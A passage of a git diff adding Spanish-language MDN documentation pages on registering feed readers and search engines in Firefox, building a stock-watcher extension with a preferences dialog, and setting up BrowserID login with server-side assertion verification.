+translation_of: Mozilla/Firefox/Releases/2/Adding_feed_readers_to_Firefox
+---
+<div>{{FirefoxSidebar}}</div><p>A partir de Firefox 2, Firefox permite seleccionar diferentes lectores de canales RSS o Atom para usarlos cuando se trata de leer un canal. Este artículo proporciona información sobre cómo añadir lectores adicionales no admitidos por defecto.</p>
+
+<h2 id="A.C3.B1adir_un_nuevo_lector_de_canales_basado_en_la_web" name="A.C3.B1adir_un_nuevo_lector_de_canales_basado_en_la_web">Añadir un nuevo lector de canales basado en la web</h2>
+
+<p>Para añadir un nuevo lector de canales basado en la web, todo lo que tiene que hacer es añadir tres nuevas preferencias:</p>
+
+<dl>
+ <dt><code>browser.contentHandlers.types.<em>número</em>.title</code></dt>
+ <dd>El nombre del lector de canales.</dd>
+ <dt><code>browser.contentHandlers.types.<em>número</em>.type</code></dt>
+ <dd>Para un lector de canales, en este caso sería "application/vnd.mozilla.maybe.feed".</dd>
+ <dt><code>browser.contentHandlers.types.<em>número</em>.uri</code></dt>
+ <dd>La URI del lector de canales. Utilice "%s" donde se deba insertar la URL del canal.</dd>
+</dl>
+
+<p><code><em>número</em></code> debe ser reemplazado con el siguiente número único más alto que no haya sido usado aún. Por ejemplo, si desea añadir un nuevo lector de canales llamado "Lector Sencillo", y ya están definidos manejadores de contenido con los números 0 al 4, debe sustituir <code><em>número</em></code> por 5, como sigue:</p>
+
+<ul>
+ <li><code>browser.contentHandlers.types.5.title</code>: Lector Sencillo</li>
+ <li><code>browser.contentHandlers.types.5.type</code>: application/vnd.mozilla.maybe.feed</li>
+ <li><code>browser.contentHandlers.types.5.uri</code>: <span class="nowiki">http://www.urllectorsencillo.com?feed=%s</span></li>
+</ul>
+
+<p>Puede añadir estas preferencias manualmente, visitando about:config, o puede programarlo, si una extensión desea instalar un nuevo lector de canales.</p>
+
+<h3 id="A.C3.B1adir_un_lector_de_canales_desde_una_aplicaci.C3.B3n_web" name="A.C3.B1adir_un_lector_de_canales_desde_una_aplicaci.C3.B3n_web">Añadir un lector de canales desde una aplicación web</h3>
+
+<p>El código JavaScript en la web puede añadir un lector de canales fácilmente, usando la función <code>navigator.registerContentHandler()</code>, de esta manera:</p>
+
+<pre>navigator.registerContentHandler("application/vnd.mozilla.maybe.feed",
+                                 "http://www.urllectorsencillo.com?feed=%s",
+                                 "Lector Sencillo");
+</pre>
+
+<h2 id="A.C3.B1adir_una_nueva_aplicaci.C3.B3n_lectora_de_canales" name="A.C3.B1adir_una_nueva_aplicaci.C3.B3n_lectora_de_canales">Añadir una nueva aplicación lectora de canales</h2>
+
+<p>La manera más sencilla de hacer esto es simplemente usar la interfaz de usuario disponible, usando el panel Canales en la ventana de preferencias (u opciones, dependiendo de su plataforma).</p>
+
+<p>También se puede hacer programáticamente mediante una extensión, lo cual se hace estableciendo el valor de la opción <code>browser.feeds.handlers.application</code> a la ruta de la aplicación a usar para leer los canales.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/Adding_feed_readers_to_Firefox", "ja": "ja/Adding_feed_readers_to_Firefox", "zh-tw": "zh_tw/\u65b0\u589e\u6d88\u606f\u4f86\u6e90\u95b1\u8b80\u5de5\u5177" } ) }}</p>
diff --git a/files/es/añadir_motores_de_búsqueda_desde_páginas_web/index.html b/files/es/añadir_motores_de_búsqueda_desde_páginas_web/index.html
new file mode 100644
index 0000000000..2244e609ec
--- /dev/null
+++ b/files/es/añadir_motores_de_búsqueda_desde_páginas_web/index.html
@@ -0,0 +1,53 @@
+---
+title: Añadir motores de búsqueda desde páginas web
+slug: Añadir_motores_de_búsqueda_desde_páginas_web
+tags:
+  - Plugins_de_búsqueda
+translation_of: Web/OpenSearch
+---
+<p>Firefox permite que código JavaScript instale plugins de motores de búsqueda, y soporta dos formatos de plugin de motores de búsqueda: <a href="es/Creando_plugins_de_OpenSearch_para_Firefox">OpenSearch</a>, y Sherlock.
+</p>
+<div class="note"><b>Nota:</b> a partir de Firefox 2, OpenSearch es el formato preferido de búsqueda para Firefox.</div>
+<p>Cuando código JavaScript intenta instalar un plugin de búsqueda, Firefox presenta una alerta pidiendo permiso al usuario para instalar el plugin.
+</p>
+<h2 id="Instalando_plugins_de_OpenSearch">Instalando plugins de OpenSearch</h2>
+<p>Para instalar un plugin de OpenSearch, necesita utlilizar el método<code>window.external.AddSearchProvider()</code> DOM . El síntaxis de éste método es:
+</p>
+<pre class="eval">window.external.AddSearchProvider(<i>engineURL</i>);
+</pre>
+<p>Donde <i>engineURL</i> es la URL absoluta del archivo XML para el plugin del motor de búsqueda.
+</p>
+<div class="note"><b>Nota:</b> El soporte de OpenSearch esta sólo disponible en Firefox 2 y posterior.</div>
+<h2 id="Instalando_plugins_de_Sherlock">Instalando plugins de Sherlock</h2>
+<p>Para instalar un plugin de Sherlock, necesitará llamar <code>window.sidebar.addSearchEngine()</code>, el síntaxis para el mismo es:
+</p>
+<pre class="eval">window.sidebar.addSearchEngine(<i>engineURL</i>, <i>iconURL</i>, <i>suggestedName</i>, <i>suggestedCategory</i>);
+</pre>
+<ul><li> El parámetro <code>engineURL</code> es la URL del plugin de Sherlock (un archivo ".src") a instalar.
+</li><li> <code>iconURL</code> es la URL a un icono para asociar al plugin.
+</li><li> El parámetro <code>suggestedName</code> sólo se usa al pedir permiso al usuario para instalar el plugin, así que un mensaje cómo "Desea instalar <i>suggestedName</i> de <i>engineURL</i>?" podrá mostrarse.
+</li><li> El parámetro <code>suggestedCategory</code> no se usa. Debería especificar un valor vacío tipo string (<code>""</code>) o <code>null</code> (nulo).
+</li></ul>
+<p>Para detalles de Sherlock, visite <a class=" external" href="http://developer.apple.com/macosx/sherlock/">http://developer.apple.com/macosx/sherlock/</a>
+</p>
+<h2 id="Detecci.C3.B3n_de_la_capacidad_del_motor_de_b.C3.BAsqueda_del_navegador">Detección de la capacidad del motor de búsqueda del navegador</h2>
+<p>Debido a que las APIs para añadir motores de búsqueda ha cambiado en el paso de la versión 1.5 a la 2 de firefox y ya que Firefox 1.5 no soporta los ficheros de descripción OpenSearch, los desarrolladores web que quieran añadir motores de búsqueda manteniendo la compatibilidad hacia atrás (p.e. que funcione en Firefox 1.5, Firefox 2.0 o IE 7) deben soportar tanto el formato Sherlock como el OpenSearch y deben detectar las capacidades del navegador de acuerdo a ello. El siguiente fragmento de código es un ejemplo de cómo puede hacerse esto:
+</p>
+<pre class="eval">function installSearchEngine() {
+ if (window.external &amp;&amp; ("AddSearchProvider" in window.external)) {
+   // Firefox 2 and IE 7, OpenSearch
+   window.external.AddSearchProvider("<span class="nowiki">http://example.com/search-plugin.xml</span>");
+ } else if (window.sidebar &amp;&amp; ("addSearchEngine" in window.sidebar)) {
+   // Firefox &lt;= 1.5, Sherlock
+   window.sidebar.addSearchEngine("<span class="nowiki">http://example.com/search-plugin.src</span>",
+                                  "<span class="nowiki">http://example.com/search-icon.png</span>",
+                                  "Search Plugin", "");
+ } else {
+   // Sin soporte para motores de búsqueda (IE 6, Opera, etc...).
+   alert("Sin soporte para motores de búsqueda");
+ }
+}
+</pre>
+<div class="noinclude">
+</div>
+{{ languages( { "ca": "ca/Addici\u00f3_de_motors_de_cerca_a_les_p\u00e0gines_web", "en": "en/Adding_search_engines_from_web_pages", "fr": "fr/Ajout_de_moteurs_de_recherche_depuis_des_pages_Web", "it": "it/Installare_plugin_di_ricerca_dalle_pagine_web", "ja": "ja/Adding_search_engines_from_web_pages", "pl": "pl/Dodawanie_wyszukiwarek_z_poziomu_stron_WWW", "zh-tw": "zh_tw/\u81ea\u7db2\u9801\u6dfb\u52a0\u641c\u5c0b\u5f15\u64ce" } ) }}
diff --git a/files/es/añadir_preferencias_a_una_extensión/index.html b/files/es/añadir_preferencias_a_una_extensión/index.html
new file mode 100644
index 0000000000..2cd6581f80
--- /dev/null
+++ b/files/es/añadir_preferencias_a_una_extensión/index.html
@@ -0,0 +1,287 @@
+---
+title: Añadir preferencias a una extensión
+slug: Añadir_preferencias_a_una_extensión
+tags:
+  - Complementos
+  - Sistema_de_preferencias
+  - Todas_las_Categorías
+  - XUL
+  - extensiones
+translation_of: Archive/Adding_preferences_to_an_extension
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Crear_una_extensión_dinámica_en_la_barra_de_estado" style="float: left;">« Anterior</a><a href="/es/docs/Traducir_una_extensión">Siguiente  »</a></p>
+</div><p></p>
+
+<p>Este artículo es una vuelta de tuerca más al ejemplo mostrado en <a href="es/Crear_una_extensi%c3%b3n_din%c3%a1mica_en_la_barra_de_estado">Crear una extensión dinámica en la barra de estado</a> que le añade un menú emergente que te permite alternar entre múltiples stocks para visualizar. También añade un diálogo de preferencias que te permite cambiar a un stock diferente a aquellos incluidos en el menú emergente.</p>
+
+<p>Como ya ocurrió antes, los conceptos cubiertos en los anteriores artículos de la serie no se volverán a tocar por lo que si todavía no los has visto, puedes hacerlo ahora:</p>
+
+<ul>
+ <li><a href="es/Crear_una_extensi%c3%b3n_en_la_barra_de_estado">Crear una extensión en la barra de estado</a></li>
+ <li><a href="es/Crear_una_extensi%c3%b3n_din%c3%a1mica_en_la_barra_de_estado">Crear una extensión dinámica en la barra de estado</a></li>
+</ul>
+
+<p>También, por motivos de referencia, puede que te interese echarle un vistazo al <a href="es/Sistema_de_preferencias">Sistema de preferencias</a>.</p>
+
+<h2 id="Descargar_el_ejemplo" name="Descargar_el_ejemplo">Descargar el ejemplo</h2>
+
+<p>Puedes descargar una copia de este ejemplo para echarle un vistazo o para usarlo como base para tu propia extensión.</p>
+
+<p><a class="external" href="http://developer.mozilla.org/samples/extension-samples/stockwatcher2.zip">Descargar el ejemplo</a></p>
+
+<h2 id="Actualizar_los_manifiestos" name="Actualizar_los_manifiestos">Actualizar los manifiestos</h2>
+
+<p>El manifiesto de instalación y el manifiesto <a href="es/Chrome">chrome</a> necesitan ser actualizados. A grandes rasgos, simplemente hay que cambiar el ID de la extensión. Sin embargo, necesitamos añadir una nueva línea al fichero <code>install.rdf</code>.</p>
+
+<pre class="eval"> <span class="nowiki">&lt;em:optionsURL&gt;chrome://stockwatcher2/content/options.xul&lt;/em:optionsURL&gt;</span>
+</pre>
+
+<p>Esta línea establece la URL del fichero XUL que describe el diálogo de opciones.</p>
+
+<h3 id="Establecer_los_valores_predeterminados" name="Establecer_los_valores_predeterminados">Establecer los valores predeterminados</h3>
+
+<p>Para establecer una preferencia predeterminada para el stock a monitorizar, necesitamos añadir un nuevo directorio al paquete de nuestra extensión llamado "defaults", el cual contendrá otro directorio llamado "preferencias". Dentro de él, crearemos un fichero <code>defaults.js</code> que describirá los valores predeterminados de nuestras preferencias.</p>
+
+<pre class="eval"> pref("stockwatcher2.symbol", "GOOG");
+</pre>
+
+<p>Para aprender más sobre el sistemas de preferencias, lee la <a href="es/API_de_preferencias">API de preferencias</a>.</p>
+
+<h2 id="El_c.C3.B3digo_JavaScript" name="El_c.C3.B3digo_JavaScript">El código JavaScript</h2>
+
+<p>Para poder monitorizar los cambios en nuestras preferencias necesitamos instalar un observador utilizando la interfaz <a href="es/NsIPrefBranch2">nsIPrefBranch2</a>. Para hacer eso, necesitamos reimplementar nuestro código como un objeto.</p>
+
+<p>Eso implica convertir cada función en un miembro de la clase <code>StockWatcher</code>. Echemos un vistazo a cada función de la clase.</p>
+
+<h3 id="startup.28.29" name="startup.28.29">startup()</h3>
+
+<p>La función <code>StockWatcher.startup()</code> es llamada cuando nuestra extensión se carga por vez primera. Su función es iniciar el observador para controlar los cambios en nuestras preferencias, instanciando un objeto para usarlo para que administre nuestras preferencias e instalando una rutina de intervalo para actualizar la información del stock periódicamente.</p>
+
+<pre class="eval"> var StockWatcher = {
+   prefs: null,
+   tickerSymbol: "",
+
+   // Initialize the extension
+
+   startup: function()
+   {
+     // Register to receive notifications of preference changes
+
+     this.prefs = Components.classes["@mozilla.org/preferences-service;1"]
+         .getService(Components.interfaces.nsIPrefService)
+         .getBranch("stockwatcher2.");
+     this.prefs.QueryInterface(Components.interfaces.nsIPrefBranch2);
+     this.prefs.addObserver("", this, false);
+
+     this.tickerSymbol = this.prefs.getCharPref("symbol").toUpperCase();
+
+     this.refreshInformation();
+     window.setInterval(this.refreshInformation, 10*60*1000);
+   },
+</pre>
+
+<p>Nuestro objeto posee dos variables miembro. <code>prefs</code> está configurada por <code>startup()</code> para que referencie las preferencias de nuestra extensión mientras que <code>tickerSymbol</code> indica el símbolo de stock a monitorizar.</p>
+
+<p>La primera cosa que hace la función <code>startup()</code> es obtener una referencia de las preferencias para nuestra extensión. Esto se hace en dos pasos:</p>
+
+<ul>
+ <li>Primero, obtenemos el servicio de preferencias. Este componente maneja la administración de preferencias para Firefox y cualquier extensión.</li>
+</ul>
+
+<ul>
+ <li>Segundo, llamamos a <code><a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIPrefService.html#method_getBranch">nsIPrefService.getBranch()</a></code>. Esto nos deja indicar una bifurcación del árbol de preferencias específica al que acceder. De modo predeterminado, tendríamos acceso a todas las preferencias pero sólo queremos acceder a aquellas relativas a nuestra extensión por lo que especificamos que queremos acceder a la rama "stockwatcher2".</li>
+</ul>
+
+<p>Tras obtener la rama de preferencias para nuestra extensión, llamaremos al método <code><a href="es/NsISupports/QueryInterface"> QueryInterface()</a></code> sobre ellas para poder usar los métodos de la interfaz <code>nsIPrefBranch2</code>.</p>
+
+<p>El siguiente paso es registrar un observador de preferencias llamando al método <code>addObserver()</code> para establecer que en el momento en el que cualquier evento se produzca sobre las preferencias, nuestro objeto (<var>this</var>) recibirá una notificación. Cuando ocurra un evento, tal como una preferencia que ha sido alterada, nuestro método <code>observe()</code> será llamado automáticamente.</p>
+
+<p>Ahora que estamos monitorizando las preferencias, podemos configurarlas para ver la información del stock y mostrarla en el panel de la barra de estado.</p>
+
+<p>Lo primero que necesitamos hacer es obtener el símbolo de stock configurado actualmente para ver desde las preferencias. Para hacerlo, llamamos al método <code>nsIPrefBranch.getCharPref()</code>, especificando que queremos la preferencia llamada "symbol", que es donde guardamos la elección del usuario para el stock a visualizar. Convertiremos por la fuerza el símbolo a mayúsculas ya que es el modo en el que los símbolos de stock son normalmente mostrados.</p>
+
+<p>Después, llamamos a nuestro método <code>refreshInformation()</code> para obtener y mostrar inmediatamente la información actual sobre el stock para el cual la extensión está configurada para monitorizar. Miraremos los detalles de cómo funciona este método más adelante.</p>
+
+<p>Lo último que hace el método <code>startup()</code> es llamar al método del DOM <code><a href="es/DOM/window.setInterval"> window.setInterval()</a></code> para configurar un callback que automáticamente ejecute nuestro método <code>refreshInformation()</code> cada 10 minutos. La duración del intervalo está especificada en milisegundos.</p>
+
+<h3 id="shutdown.28.29" name="shutdown.28.29">shutdown()</h3>
+
+<p>El método <code>StockWatcher.shutdown()</code> desactiva el observador sobre nuestras preferencias. Aquí es también donde añadiríamos cualquier otra tarea de apagado que necesitásemos realizar.</p>
+
+<pre class="eval">  shutdown: function()
+  {
+    this.prefs.removeObserver("", this);
+  },
+</pre>
+
+<h3 id="observe.28.29" name="observe.28.29">observe()</h3>
+
+<p>La función <code>StockWatcher.observe()</code> es llamada siempre que ocurre un evento en la rama de preferencias que estamos siguiendo. Para más detalles sobre cómo funcionan los observadores, revisa la interfaz <a href="es/NsIObserver">nsIObserver</a>.</p>
+
+<pre class="eval">   observe: function(subject, topic, data)
+   {
+     if (topic != "nsPref:changed")
+     {
+       return;
+     }
+
+     switch(data)
+     {
+       case "symbol":
+         this.tickerSymbol = this.prefs.getCharPref("symbol").toUpperCase();
+         this.refreshInformation();
+         break;
+     }
+   },
+</pre>
+
+<p>El parámetro <code>topic</code> indica el tipo de evento ocurrido. Si no es <code>nsPref:changed</code>, simplemente ignoraremos el evento ya que lo único que nos interesa son los cambios de los valores de nuestras preferencias.</p>
+
+<p>Una vez hemos comprobado que el evento es de hecho un cambio en las preferencias, miramos el parámetro <code>data</code> el cual contiene el nombre de la preferencia que ha cambiado. En nuestro ejemplo sólo hay una preferencia pero puedes monitorizar tantas como quieras.</p>
+
+<p>Si la preferencia cambiada es "symbol", recuperamos el valor actualizado de la preferencia llamando al método <code>nsIPrefBranch.getCharPref()</code> y la copiamos en nuestra variable <code>tickerSymbol</code>.</p>
+
+<p>Una vez hemos obtenido la preferencia actualizada, llamamos a <code>refreshInformation()</code> para actualizar de inmediato el visor con la nueva información del stock.</p>
+
+<h3 id="watchStock.28.29" name="watchStock.28.29">watchStock()</h3>
+
+<p>Ahora vamos a añadir un método que establece el stock que queremos monitorizar, cambiando la preferencia e inmediatamente pidiendo una actualización del visor. Este método será usado cuando el usuario utilice el menú emergente que añadiremos para cambiar el stock que se está controlando.</p>
+
+<pre class="eval">   watchStock: function(newSymbol)
+   {
+     this.prefs.setCharPref("symbol", newSymbol);
+   },
+</pre>
+
+<p>La única nueva información para nosotros aquí es la llamada a la función <code>setCharPref()</code> del objeto de la preferencia, el cual establece el valor de la preferencia "symbol".</p>
+
+<p>Date cuenta de que el hacer esta llamada provocará que el método <code>StockWatcher.observe()</code> sea llamado y la información del stock sea actualizada.</p>
+
+<h3 id="refreshInformation.28.29" name="refreshInformation.28.29">refreshInformation()</h3>
+
+<p>Este método difiere ligeramente de las versiones anteriores en la forma en la que recupera la preferencia del stock a seguir y en la manera en que construye la URL a monitorizar, además de cómo construye la cadena que es mostrada en el panel de la barra de estado.</p>
+
+<pre class="eval">   refreshInformation: function()
+   {
+     // Because we may be called as a callback, we can't rely on
+     // "this" referring to the right object, so we need to reference
+     // it by its full name
+
+     var symbol = StockWatcher.tickerSymbol;
+
+     var fullUrl = "<span class="nowiki">http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&amp;e=.csv&amp;s=</span>"
+         + symbol;
+
+     function infoReceived()
+     {
+       var samplePanel = document.getElementById('stockwatcher2');
+       var output = httpRequest.responseText;
+
+       if (output.length)
+       {
+         // Remove any whitespace from the end of the string
+         output = output.replace(/\W*$/, "");
+
+         // Build the tooltip string
+         var fieldArray = output.split(",");
+         samplePanel.label = symbol + ": " + fieldArray[1];
+         samplePanel.tooltipText = "Chg: " + fieldArray[4] + " | " +
+             "Open: " + fieldArray[5] + " | " +
+             "Low: " + fieldArray[6] + " | " +
+             "High: " + fieldArray[7] + " | " +
+             "Vol: " + fieldArray[8];
+       }
+     }
+
+     var httpRequest = new XMLHttpRequest();
+
+     httpRequest.open("GET", fullUrl, true);
+     httpRequest.onload = infoReceived;
+     httpRequest.send(null);
+   }
+ }
+</pre>
+
+<p>Date cuenta de que aquí usamos <code>StockWatcher.tickerSymbol</code> en vez de <code>this.tickerSymbol</code> para conseguir el símbolo del stock a visualizar. Hacemos esto debido a que <code>refreshInformation()</code> es por lo general llamado como un callback desde <code>setInterval</code>. En tales casos, <code>this</code> no se refiere al objeto correcto. Lee <a href="es/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator#Method_binding">Method binding</a> para una información más detallada.</p>
+
+<p>Una vez tenemos el símbolo en la variable local <code>symbol</code>, la usaremos para construir la URL y la cadena a mostrar en el panel de la barra de estado.</p>
+
+<h3 id="Instalando_los_escuchadores_de_eventos" name="Instalando_los_escuchadores_de_eventos">Instalando los escuchadores de eventos</h3>
+
+<p>La única cosa que nos queda por hacer es instalar los escuchadores de eventos necesarios para ejecutar las rutinas <code>startup()</code> y <code>shutdown()</code> automáticamente cuando la ventana del navegadore es cargada o descargada.</p>
+
+<pre class="eval">window.addEventListener("load", function(e) { StockWatcher.startup(); }, false);
+window.addEventListener("unload", function(e) { StockWatcher.shutdown(); }, false);
+</pre>
+
+<h2 id="Dise.C3.B1ar_el_di.C3.A1logo_de_preferencias" name="Dise.C3.B1ar_el_di.C3.A1logo_de_preferencias">Diseñar el diálogo de preferencias</h2>
+
+<p>Ahora que hemos escrito todo el código, necesitamos construir el fichero XUL para el diálogo de opciones.</p>
+
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="<span class="nowiki">chrome://global/skin/</span>" type="text/css"?&gt;
+
+&lt;prefwindow id="stockwatcher2-prefs"
+     title="StockWatcher 2 Options"
+     xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+
+&lt;prefpane id="sw2-stock-pane" label="Stock Settings"&gt;
+  &lt;preferences&gt;
+    &lt;preference id="pref_symbol" name="stockwatcher2.symbol" type="string"/&gt;
+  &lt;/preferences&gt;
+
+  &lt;hbox align="center"&gt;
+    &lt;label control="symbol" value="Stock to watch: "/&gt;
+    &lt;textbox preference="pref_symbol" id="symbol" maxlength="4"/&gt;
+  &lt;/hbox&gt;
+&lt;/prefpane&gt;
+
+&lt;/prefwindow&gt;
+</pre>
+
+<p>El bloque <code>&lt;preferences&gt;</code> establece todas las opciones que hemos implementado así como sus tipos. En nuestro caso, sólo tenemos una única preferencia, el símbolo de stock a monitorizar. Las preferencias se identifican a través del nombre (en este caso, el nombre es "stockwatcher2.symbol").</p>
+
+<p>La interfaz de usuario actual es descrita en el bloque <code>&lt;prefpane&gt;</code>. El elemento <code>&lt;hbox&gt;</code> indica que los controles contenidos dentro de él han de disponerse horizontalmente, uno al lado del otro en la ventana.</p>
+
+<p>Nuestro diálogo posee dos controles en él. El primero es una etiqueta que describe el cuadro de texto. El segundo es el propio cuadro de texto en el cual el usuario introduce el símbolo. La propiedad <code>preference</code> relacionada con el cuadro de texto hace referencia al elemento &lt;preference&gt; "pref_symbol" y a la preferencia "stockwatcher2.symbol". Esto hace que el valor de la preferencia se actualice automáticamente para reflejar el contenido del cuadro de texto.</p>
+
+<h2 id="A.C3.B1adir_el_men.C3.BA_contextual" name="A.C3.B1adir_el_men.C3.BA_contextual">Añadir el menú contextual</h2>
+
+<p>Añadir el menú contextual es fácil. Todo lo que hay que hacer se hace en el fichero stockwatcher2.xul. El primer paso es añadir el atributo <code>context</code> al panel de la barra de estado:</p>
+
+<pre class="eval"> &lt;statusbar id="status-bar"&gt;
+   &lt;statusbarpanel id="stockwatcher2"
+     label="Loading..."
+     context="stockmenu"
+     onclick="StockWatcher.refreshInformation()"
+   /&gt;
+ &lt;/statusbar&gt;
+</pre>
+
+<p>Ahora cuando el usuario pulse sobre el panel de la barra de estado se actualizará la información del stock pero cuando lo haga con el botón derecho aparecerá un menú emergente.</p>
+
+<p>Definir el menú es también sencillo. Todo lo que necesitamos hacer es añadir un <code>popupset</code> que describa el menú en statusbar, así:</p>
+
+<pre class="eval"> &lt;popupset&gt;
+   &lt;menupopup id="stockmenu"&gt;
+     &lt;menuitem label="Refresh Now" default="true"
+               oncommand="StockWatcher.refreshInformation()"/&gt;
+     &lt;menuseparator/&gt;
+     &lt;menuitem label="Apple (AAPL)" oncommand="StockWatcher.watchStock('AAPL')"/&gt;
+     &lt;menuitem label="Google (GOOG)" oncommand="StockWatcher.watchStock('GOOG')"/&gt;
+     &lt;menuitem label="Microsoft (MSFT)" oncommand="StockWatcher.watchStock('MSFT')"/&gt;
+     &lt;menuitem label="Yahoo! (YHOO)" oncommand="StockWatcher.watchStock('YHOO')"/&gt;
+   &lt;/menupopup&gt;
+ &lt;/popupset&gt;
+</pre>
+
+<p>Cada elemento en el menú posee una propiedad <code>label</code> que especifica el texto mostrado en el menú, además de una propiedad <code>oncommand</code> que indica el código JavaScript a ejecutar cuando el usuario elija dicho elemento.</p>
+
+<p>La opción Actualizar ahora llama a la función <code>StockWatcher.refreshInformation()</code> para actualizar el visor. El resto de las opciones llaman a la función <code>StockWatcher.watchStock()</code> para empezar a observar un stock diferente.</p>
+
+<p>Para un tutorial más detallado sobre la creación de menús emergentes, lee <a href="es/Tutorial_XUL/Men%c3%bas_emergentes">Tutorial XUL:Menús emergentes</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Crear_una_extensión_dinámica_en_la_barra_de_estado" style="float: left;">« Anterior</a><a href="/es/docs/Traducir_una_extensión">Siguiente  »</a></p>
+</div><p></p>
diff --git a/files/es/browserid/configuración_rápida/index.html b/files/es/browserid/configuración_rápida/index.html
new file mode 100644
index 0000000000..52fb1610e6
--- /dev/null
+++ b/files/es/browserid/configuración_rápida/index.html
@@ -0,0 +1,73 @@
+---
+title: Configuración rápida
+slug: BrowserID/Configuración_rápida
+translation_of: Archive/Mozilla/Persona/Quick_Setup
+---
+<h2 id="Cargar_la_biblioteca_BrowserID">Cargar la biblioteca BrowserID</h2>
+<p>Hay que incluir en tu sitio web la biblioteca BrowserID que se encuentra en <a class="link-https" href="https://browserid.org/include.js">https://browserid.org/include.js</a> asegurándonos de que se carga antes de llamar a cualquier función <a href="/en/BrowserID/navigator.id" title="navigator.id"><code>navigator.id</code></a> .</p>
+<p>Por ejemplo:</p>
+<pre class="deki-transform">&lt;script src="https://browserid.org/include.js" type="text/javascript"&gt;&lt;/script&gt;
+</pre>
+<p>La biblioteca está diseñada para ser neutral al navegador y funciona bien en todos los navegadores modernos.</p>
+<h2 id="Pedir_al_usuario_que_se_autentifique">Pedir al usuario que se autentifique</h2>
+<p>Agrega un botón sign-in a tu pagina. Aunque es completamente opcional, es posible que desees utilizar uno de los siguientes botones de BrowserID:</p>
+<p><img alt="A red sign in button" src="https://browserid.org/i/sign_in_red.png"> <img alt="A blue sign in button" src="https://browserid.org/i/sign_in_blue.png"> <img alt="A orange sign in button" src="https://browserid.org/i/sign_in_orange.png"> <img alt="A green sign in button" src="https://browserid.org/i/sign_in_green.png"> <img alt="A grey sign in button" src="https://browserid.org/i/sign_in_grey.png" style=""></p>
+<p>Por ejemplo:</p>
+<pre class="deki-transform">&lt;a href="#" id="browserid" title="Sign-in with BrowserID"&gt;
+  &lt;img src="/images/sign_in_blue.png" alt="Sign in"&gt;
+&lt;/a&gt;</pre>
+<p>Cuando el usuario hace clic en el botón sign-in (conectar), llama la función <a href="/en/DOM/navigator.id.get" title="navigator.id.get"><code>navigator.id.get()</code></a>, pasando una función a la que devuelve la llamada:</p>
+<pre class="deki-transform">$(function() {
+  $('#browserid').click(function() {
+    navigator.id.get(gotAssertion);
+    return false;
+  });
+});
+</pre>
+<p>En caso de éxito, la devolución de la llamada se realizará pasada la aserción: esto es una cadena que contiene una reclamación firmada de que el usuario posee una dirección de correo electrónico en particular.</p>
+<h2 id="Comprobar_la_aserción">Comprobar la aserción</h2>
+<p>Tendrás que enviar esta aserción para que tu servidor la compruebe, por ejemplo, mediante el uso de una petición AJAX. En este ejemplo tenemos un servicio que se ejecuta en <code>/api/login </code>que recibe y comprueba las aserciones. Si este servicio comprueba con éxito la aserción, actualizamos la interfaz de usuario llamando a <code>loggedIn()</code>, de lo contrario, controlamos los errores de inicio de sesión:</p>
+<pre class="deki-transform">function gotAssertion(assertion) {
+  // got an assertion, now send it up to the server for verification
+  if (assertion !== null) {
+    $.ajax({
+      type: 'POST',
+      url: '/api/login',
+      data: { assertion: assertion },
+      success: function(res, status, xhr) {
+        if (res === null) {}//loggedOut();
+          else loggedIn(res);
+        },
+      error: function(res, status, xhr) {
+        alert("login failure" + res);
+      }
+    });
+  } else {
+    //loggedOut();
+  }
+}
+</pre>
+<div class="note"><strong>Nota:</strong> es importante que la aserción se compruebe en el servidor y no en el navegador.</div>
+<p>En el servidor, debes comprobar la aserción y extraer de ella la dirección de correo del usuario. La forma más sencilla de hacerlo es utilizar el servicio de verificación gratuito proporcionado por BrowserID. Envia una solicitud POST a   <span class="nowiki"><code>https://browserid.org/verify</code></span> con dos parámetros:</p>
+<ul> <li><code>assertion</code>: la aserción codificada</li> <li><code>audience</code>: el nombre del host y  puerto opcional opcional de su sitio. Esto hace más difícil que una afirmación generada para un sitio ajeno se utilice para acceder a la tuya. Se debe especificar de forma explícita <code>audience</code> (audiencia) y no confiar en un parámetro enviado por el navegador del usuario, como document.location. El servicio de verificación comprobará que la audiencia que especificas coincide con el nombre de dominio incluido en la aserción.</li>
+</ul>
+<p><strong>Nota:</strong> esta llamada era un <code>GET</code>, pero a partir del 13 de octure de 2011 debe ser un <code>POST</code>.</p>
+<p>El verificador comprobará que la aserción es para tu sitio y que es válida. Responde con una estructura JSON que contiene los contenidos y el código de estado de la aserción.</p>
+<p>Supón que tienes una aserción que pide a  <span class="nowiki"><code>https://mysite.com</code></span> que acepte la dirección de correo <span class="nowiki"><code>lloyd@example.com</code></span>.</p>
+<p>Puedes enviarla a <span class="nowiki"><code>https://browserid.org/verify</code></span>:</p>
+<pre><code>$ curl -d "assertion=&lt;ASSERTION&gt;&amp;audience=https://mysite.com" "https://browserid.org/verify"
+</code></pre>
+<p>Aquí está la respuesta:</p>
+<pre>{
+    "status": "okay",
+    "email": "lloyd@example.com",
+    "audience": "https://mysite.com",
+    "expires": 1308859352261,
+    "issuer": "browserid.org"
+}
+</pre>
+<p>Simplemente tienes que comprobar que el estado es correcto y, si lo es, el usuario puede conectarse al sitio. Puedes crear una sesión para él y colocar una cookie en su navegador para identificar la sesión.</p>
+<h2 id="Implementa_el_cierre_de_sesión">Implementa el cierre de sesión</h2>
+<p>Puedes implementar el cierre de sesión simplemente eliminando la cookie de la sesión de usuario.  Si has implementado la compatibilidad para <a href="/en/BrowserID/Advanced_Features" title="Advanced Features">inicio de sesión persistente</a>, entonces solo tendrás que llamar a {{ domxref("navigator.id.logout()") }}.</p>
+<p>En función del tiempo que haya trascurrido desde que el usuario inició sesión/ingresó con su proveedor de identidad, el usuario dispondrá aún de un certificado de usuario válido: si es así, entonces cuando el usuario inicie sesión/ingrese de nuevo, no se le solicitará de nuevo la contraseña para BrowserID. Sin embargo se le pedirá que seleccione la dirección de correo que va a usar y que confirme que desea iniciar sesión/ingresar.</p>
+<p>{{ languages( { "en": "en/BrowserID/Quick_Setup", "es": "es/BrowserID/Configuración_rápida" } ) }}</p>
